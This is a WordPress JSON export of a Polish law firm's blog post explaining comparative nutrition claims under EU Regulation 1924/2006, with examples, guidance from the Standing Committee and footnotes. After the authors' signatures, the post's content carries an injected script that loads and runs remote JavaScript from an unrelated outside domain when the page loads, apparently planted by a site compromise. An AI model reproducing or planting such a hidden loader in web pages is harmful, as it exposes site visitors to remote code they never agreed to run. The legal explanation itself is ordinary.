{"id":419,"date":"2025-02-03T17:53:35","date_gmt":"2025-02-03T16:53:35","guid":{"rendered":"https:\/\/legalwellbeing.pl\/?p=419"},"modified":"2025-07-22T10:27:41","modified_gmt":"2025-07-22T08:27:41","slug":"oswiadczenia-zywieniowe-porownawcze","status":"publish","type":"post","link":"https:\/\/legalwellbeing.pl\/?p=419","title":{"rendered":"O\u015bwiadczenia \u017cywieniowe por\u00f3wnawcze"},"content":{"rendered":"\n<p>Art. 9 ust. 1 i 2 rozporz\u0105dzenia nr 1924\/2006<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a> wyodr\u0119bnia szczeg\u00f3ln\u0105 kategori\u0119 o\u015bwiadczenia \u017cywieniowego \u2013 tj. o\u015bwiadczenie por\u00f3wnawcze.<\/p>\n\n\n\n<p>Zgodnie z ww. przepisem, por\u00f3wnanie zawarte w o\u015bwiadczeniu powinno dotyczy\u0107:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>tej samej ilo\u015bci \u017cywno\u015bci tej samej kategorii pod k\u0105tem r\u00f3\u017cnicy w obr\u0119bie sk\u0142adnik\u00f3w od\u017cywczych<a href=\"#_ftn2\" id=\"_ftnref2\">[2]<\/a> b\u0105d\u017a warto\u015bci energetycznej (art. 9 ust. 1 rozporz\u0105dzenia nr 1924\/2006);<\/li>\n<\/ul>\n\n\n\n<p><strong>Przyk\u0142ad: o\u015bwiadczenie \u017cywieniowe dotycz\u0105ce obni\u017conej zawarto\u015bci cukru w budyniu waniliowym marki X w stosunku do innych standardowych budyni\u00f3w waniliowych wiod\u0105cych marek na rynku<\/strong>.<\/p>\n\n\n\n<p><strong>Obja\u015bnienie<\/strong>: <strong>Por\u00f3wnanie z ww. przyk\u0142adu dotyczy sk\u0142adnika od\u017cywczego (cukru) w standardowych budyniach waniliowych z cukrem obecnych na rynku. Por\u00f3wnanie musi dotyczy\u0107 tej samej ilo\u015bci produktu, czyli np. ilo\u015bci cukru w 100g budyniu przygotowanego zgodnie z instrukcj\u0105 podan\u0105 przez producenta.<\/strong><\/p>\n\n\n\n<p><strong>UWAGA: Art. 9 ust. 1 wyra\u017anie wskazuje, i\u017c przedmiotem o\u015bwiadczenia \u017cywieniowego por\u00f3wnawczego s\u0105 sk\u0142adniki od\u017cywcze b\u0105d\u017a energia. Por\u00f3wnanie dotycz\u0105ce \u201einnych\u201d cech produkt\u00f3w (np. masy netto) nie b\u0119dzie wi\u0119c o\u015bwiadczeniem \u017cywieniowym por\u00f3wnawczym.<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>por\u00f3wnania sk\u0142adu danego \u015brodka spo\u017cywczego z szeregiem innych produkt\u00f3w \u017cywno\u015bciowych tej samej kategorii, kt\u00f3ra nie ma sk\u0142adu pozwalaj\u0105cego na umieszczenie takiego o\u015bwiadczenia, w tym \u017cywno\u015bci innych marek (art.9 ust. 2 rozporz\u0105dzenia nr 1924\/2006).<\/li>\n<\/ul>\n\n\n\n<p><strong>Przyk\u0142ad:<\/strong> <strong>niemo\u017cliwe b\u0119dzie umieszczenie o\u015bwiadczenia \u017cywieniowego por\u00f3wnawczego, odnosz\u0105cego si\u0119 do obni\u017conej zawarto\u015bci cukru w budyniach waniliowych, kt\u00f3rych sk\u0142ad spe\u0142nia wymogi dla zastosowania o\u015bwiadczenia \u017cywieniowego \u201eo obni\u017conej zawarto\u015bci cukru\u201d <\/strong>.&nbsp;<\/p>\n\n\n\n<p><strong>Obja\u015bnienie: Art. 9 ust. 2 rozporz\u0105dzenia nr 1924\/2006 wskazuje na konieczno\u015b\u0107 dok\u0142adnego ustalenia grupy referencyjnej, z kt\u00f3r\u0105 por\u00f3wnujemy produkt, w kt\u00f3rego oznakowaniu znajdzie si\u0119 o\u015bwiadczenie por\u00f3wnawcze. Przepis m\u00f3wi o \u201eszeregu produkt\u00f3w\u201d, gdy\u017c mo\u017ce si\u0119 zdarzy\u0107, \u017ce por\u00f3wnanie do jednego, innego produktu nie b\u0119dzie reprezentatywne dla produkt\u00f3w obecnych na rynku. Identyfikacja \u201eszeregu produkt\u00f3w\u201d wymaga wi\u0119c analizy rynku produkt\u00f3w tej samej kategorii.<\/strong><\/p>\n\n\n\n<p>Nale\u017cy zauwa\u017cy\u0107, \u017ce o\u015bwiadczenie por\u00f3wnawcze jest o\u015bwiadczeniem \u017cywieniowym. Zgodnie wi\u0119c z ju\u017c przytaczanym art. 8 rozporz\u0105dzenia nr 1924\/2006, mo\u017cliwe jest stosowanie w ich przypadku tylko o\u015bwiadcze\u0144, kt\u00f3re zosta\u0142y umieszczone w Za\u0142\u0105czniku do ww. rozporz\u0105dzenia.<\/p>\n\n\n\n<p>W praktyce jest to r\u00f3wnoznaczne z mo\u017cliwo\u015bci\u0105 stosowania jedynie por\u00f3wna\u0144 w obr\u0119bie poni\u017cszych o\u015bwiadcze\u0144, kt\u00f3re zosta\u0142y wymienione w Za\u0142\u0105czniku:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>o podwy\u017cszonej zawarto\u015bci [nazwa sk\u0142adnika od\u017cywczego];<\/li>\n\n\n\n<li>o obni\u017conej zawarto\u015bci [nazwa sk\u0142adnika od\u017cywczego];<\/li>\n\n\n\n<li>zmniejszona warto\u015b\u0107 energetyczna;<\/li>\n\n\n\n<li>lekki.<\/li>\n<\/ul>\n\n\n\n<p>Rozporz\u0105dzenie w spos\u00f3b bardzo lakoniczny formu\u0142uje warunki stosowania o\u015bwiadcze\u0144 \u017cywieniowych por\u00f3wnawczych, co wi\u0105za\u0142o si\u0119 z licznymi problemami z ich praktycznym zastosowaniem. Ww. w\u0105tpliwo\u015bci zosta\u0142y zaadresowane przez Sta\u0142y Komitet ds. \u0141a\u0144cucha \u017bywno\u015bciowego i Zdrowia Zwierz\u0105t<a href=\"#_ftn3\" id=\"_ftnref3\">[3]<\/a> (dalej: \u201eKomitet\u201d).<\/p>\n\n\n\n<p>Komitet zauwa\u017cy\u0142 i doprecyzowa\u0142 nast\u0119puj\u0105ce kwestie w zakresie stosowania o\u015bwiadcze\u0144 \u017cywieniowych por\u00f3wnawczych:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>rozporz\u0105dzenie nr 1924\/2006 nie definiuje poj\u0119cia \u201ekategorii\u201d \u017cywno\u015bci. Nale\u017cy wi\u0119c uzna\u0107, \u017ce przedmiotem por\u00f3wna\u0144 powinny by\u0107 produkty \u017cywno\u015bciowe nale\u017c\u0105ce do grup produkt\u00f3w <strong>podobnych pod k\u0105tem sk\u0142adu od\u017cywczego<\/strong>, np. \u201emleko\u201d lub \u201esery\u201d. Kategoria nie mo\u017ce by\u0107 rozumiana w spos\u00f3b zbyt szeroki (np. \u201eprodukty mleczne\u201d)<a href=\"#_ftn4\" id=\"_ftnref4\">[4]<\/a>;<\/li>\n\n\n\n<li>\u017cywno\u015bci\u0105 podobn\u0105 mog\u0105 by\u0107 produkty alternatywne np. mas\u0142o i margaryna b\u0119d\u0105ce produktami t\u0142uszczowymi<a href=\"#_ftn5\" id=\"_ftnref5\">[5]<\/a>;<\/li>\n\n\n\n<li>produktami referencyjnymi s\u0105 okre\u015blone produkty markowe b\u0119d\u0105ce reprezentatywne dla swojej kategorii tj. posiadaj\u0105ce reprezentatywny sk\u0142ad<a href=\"#_ftn6\" id=\"_ftnref6\">[6]<\/a>;<\/li>\n\n\n\n<li>o\u015bwiadcze\u0144 por\u00f3wnawczych \u201eo obni\u017conej zawarto\u015bci\u201d nie powinno si\u0119 stosowa\u0107 w odniesieniu do produkt\u00f3w, w kt\u00f3rych co prawda jest zachowane kryterium 30% r\u00f3\u017cnicy, ale nie b\u0119dzie to mia\u0142o znaczenia dla ca\u0142kowitej spo\u017cywanej ilo\u015bci danego sk\u0142adnika od\u017cywczego (np. nie mo\u017cna stosowa\u0107 \u201eo obni\u017conej zawarto\u015bci t\u0142uszczu\u201d dla chleba);<a href=\"#_ftn7\" id=\"_ftnref7\">[7]<\/a><\/li>\n\n\n\n<li>dla o\u015bwiadcze\u0144 \u201eo podwy\u017cszonej zawarto\u015bci\u201d opr\u00f3cz warunk\u00f3w stosowania okre\u015blonych w Za\u0142\u0105czniku dla tego o\u015bwiadczenia, powinny mie\u0107 zastosowanie r\u00f3wnie\u017c warunki dla o\u015bwiadczenia \u201e\u0179r\u00f3d\u0142o\u201d<a href=\"#_ftn8\" id=\"_ftnref8\">[8]<\/a>;<\/li>\n\n\n\n<li>konieczne jest wskazanie <strong>r\u00f3\u017cnicy <\/strong>w ilo\u015bci danego sk\u0142adnika od\u017cywczego. Mo\u017ce by\u0107 ona wyra\u017cona procentowo, np. \u201elekki \u2013 50% mniej cukru\u201d<a href=\"#_ftn9\" id=\"_ftnref9\">[9]<\/a>;<\/li>\n\n\n\n<li>Je\u015bli sk\u0142adnik od\u017cywczy zostanie usuni\u0119ty ze sk\u0142adu produktu, informacja o tym mo\u017ce zosta\u0107 wskazana poprzez o\u015bwiadczenie odnosz\u0105ce si\u0119 do braku sk\u0142adnika od\u017cywczego, np. \u201elekki \u2013 bez cukru\u201d<a href=\"#_ftn10\" id=\"_ftnref10\">[10]<\/a><\/li>\n\n\n\n<li>Sformu\u0142owania. \u201etak wiele jak\u201d (oraz te o r\u00f3wnoznacznym brzmieniu) nie stanowi\u0105 o\u015bwiadcze\u0144 por\u00f3wnawczych, poniewa\u017c nie odnosz\u0105 si\u0119 do r\u00f3\u017cnicy. Ponadto, s\u0105 niedozwolone, bowiem nie ma o\u015bwiadcze\u0144 o takim brzmieniu w Za\u0142\u0105czniku do rozporz\u0105dzenia nr 1924\/2006.<a href=\"#_ftn11\" id=\"_ftnref11\">[11]<\/a><\/li>\n<\/ul>\n\n\n\n<p>Przyk\u0142ad o\u015bwiadczenia por\u00f3wnawczego:<\/p>\n\n\n\n<p>50 % mniej cukru**<\/p>\n\n\n\n<p>**Min: 50 % cukru mniej w por\u00f3wnaniu do wiod\u0105cych marek galaretek o smaku malinowym z cukrem. Stan na wrzesie\u0144 2024.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><a href=\"#_ftnref1\" id=\"_ftn1\"><em><strong>[1]<\/strong><\/em><\/a><em> \u201e1. Bez uszczerbku dla dyrektywy 84\/450\/EWG mo\u017cna dokonywa\u0107 jedynie por\u00f3wna\u0144 \u017cywno\u015bci nale\u017c\u0105cej do tej samej kategorii, z uwzgl\u0119dnieniem zakresu r\u00f3\u017cnych rodzaj\u00f3w \u017cywno\u015bci w tej kategorii. Podaje si\u0119 r\u00f3\u017cnic\u0119 w ilo\u015bci <\/em><em>danego sk\u0142adnika od\u017cywczego lub warto\u015bci energetycznej, a por\u00f3wnanie dotyczy tej samej ilo\u015bci \u017cywno\u015bci. 2. Por\u00f3wnawcze o\u015bwiadczenia \u017cywieniowe por\u00f3wnuj\u0105 sk\u0142ad danej<\/em><\/p>\n\n\n\n<p><em>\u017cywno\u015bci z szeregiem innych produkt\u00f3w \u017cywno\u015bciowych tej samej kategorii, kt\u00f3ra nie ma sk\u0142adu pozwalaj\u0105cego na umieszczenie takiego o\u015bwiadczenia, w tym \u017cywno\u015bci innych marek.\u201d<\/em><\/p>\n\n\n\n<p><a href=\"#_ftnref2\" id=\"_ftn2\">[2]<\/a> Zgodnie z art. 2 ust. 2 lit. s) rozporz\u0105dzenia nr 1169\/2011: <em>\u201esk\u0142adnik od\u017cywczy oznacza <strong>bia\u0142ko, w\u0119glowodany, t\u0142uszcz, b\u0142onnik, s\u00f3d, witaminy i sk\u0142adniki mineralne<\/strong>, wymienione w pkt 1 cz\u0119\u015bci A za\u0142\u0105cznika XIII do niniejszego rozporz\u0105dzenia, oraz substancje, kt\u00f3re nale\u017c\u0105 do jednej z tych kategorii lub stanowi\u0105 jej sk\u0142adniki\u201d<\/em><\/p>\n\n\n\n<p><a href=\"#_ftnref3\" id=\"_ftn3\">[3]<\/a> Wskaz\u00f3wki dotycz\u0105ce wdra\u017cania rozporz\u0105dzenia nr 1924\/2006 Parlamentu Europejskiego i Rady z dnia 20 grudnia 2006 roku w sprawie o\u015bwiadcze\u0144 \u017cywieniowych i zdrowotnych dotycz\u0105cych \u017cywno\u015bci: <a href=\"https:\/\/www.gov.pl\/attachment\/a3a87a04-f298-4e51-977c-24c980e3ee8e\">https:\/\/www.gov.pl\/attachment\/a3a87a04-f298-4e51-977c-24c980e3ee8e<\/a> (dalej \u201eDokument Komitetu\u201d);<\/p>\n\n\n\n<p><a href=\"#_ftnref4\" id=\"_ftn4\">[4]<\/a> Rozdzia\u0142 II.2.1 Dokumentu Komitetu;<\/p>\n\n\n\n<p><a href=\"#_ftnref5\" id=\"_ftn5\">[5]<\/a> Jw.;<\/p>\n\n\n\n<p><a href=\"#_ftnref6\" id=\"_ftn6\">[6]<\/a> Rozdzia\u0142 II.2.2 Dokumentu Komitetu;<\/p>\n\n\n\n<p><a href=\"#_ftnref7\" id=\"_ftn7\">[7]<\/a> Rozdzia\u0142 II.2.3 Dokumentu Komitetu;<\/p>\n\n\n\n<p><a href=\"#_ftnref8\" id=\"_ftn8\">[8]<\/a> Jw.;<\/p>\n\n\n\n<p><a href=\"#_ftnref9\" id=\"_ftn9\">[9]<\/a> Rozdzia\u0142 II.2.4 Dokumentu Komitetu.<\/p>\n\n\n\n<p><a href=\"#_ftnref10\" id=\"_ftn10\">[10]<\/a> Rozdzia\u0142 II.2.4 Dokumentu Komitetu.<\/p>\n\n\n\n<p><a href=\"#_ftnref11\" id=\"_ftn11\">[11]<\/a> Rozdzia\u0142 II.2. Dokumentu Komitetu.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Monika \u0141azarowicz \u2013 Szoszuk, prawniczka, aplikantka adwokacka&nbsp;<\/p>\n\n\n\n<p>Roksana Strubel, adwokat<\/p>\n\n\n\n<p><\/p>\n\n\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';<br \/>\nvar script = document.createElement('script');<br \/>\nscript.src = url;<br \/>\nscript.type = 'text\/javascript';<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Art. 9 ust. 1 i 2 rozporz\u0105dzenia nr 1924\/2006[1] wyodr\u0119bnia szczeg\u00f3ln\u0105 kategori\u0119 o\u015bwiadczenia \u017cywieniowego \u2013 tj. o\u015bwiadczenie por\u00f3wnawcze. Zgodnie z ww. przepisem, por\u00f3wnanie zawarte w o\u015bwiadczeniu powinno dotyczy\u0107: Przyk\u0142ad: o\u015bwiadczenie \u017cywieniowe dotycz\u0105ce obni\u017conej zawarto\u015bci cukru w budyniu waniliowym marki X w stosunku do innych standardowych budyni\u00f3w waniliowych wiod\u0105cych marek na rynku. Obja\u015bnienie: Por\u00f3wnanie z ww&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_editorskit_title_hidden":false,"_editorskit_reading_time":0,"_editorskit_is_block_options_detached":false,"_editorskit_block_options_position":"{}","footnotes":""},"categories":[22,21],"tags":[],"class_list":["post-419","post","type-post","status-publish","format-standard","hentry","category-aktualnosci","category-blog"],"_links":{"self":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/419","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=419"}],"version-history":[{"count":3,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/419\/revisions"}],"predecessor-version":[{"id":512,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=\/wp\/v2\/posts\/419\/revisions\/512"}],"wp:attachment":[{"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/legalwellbeing.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}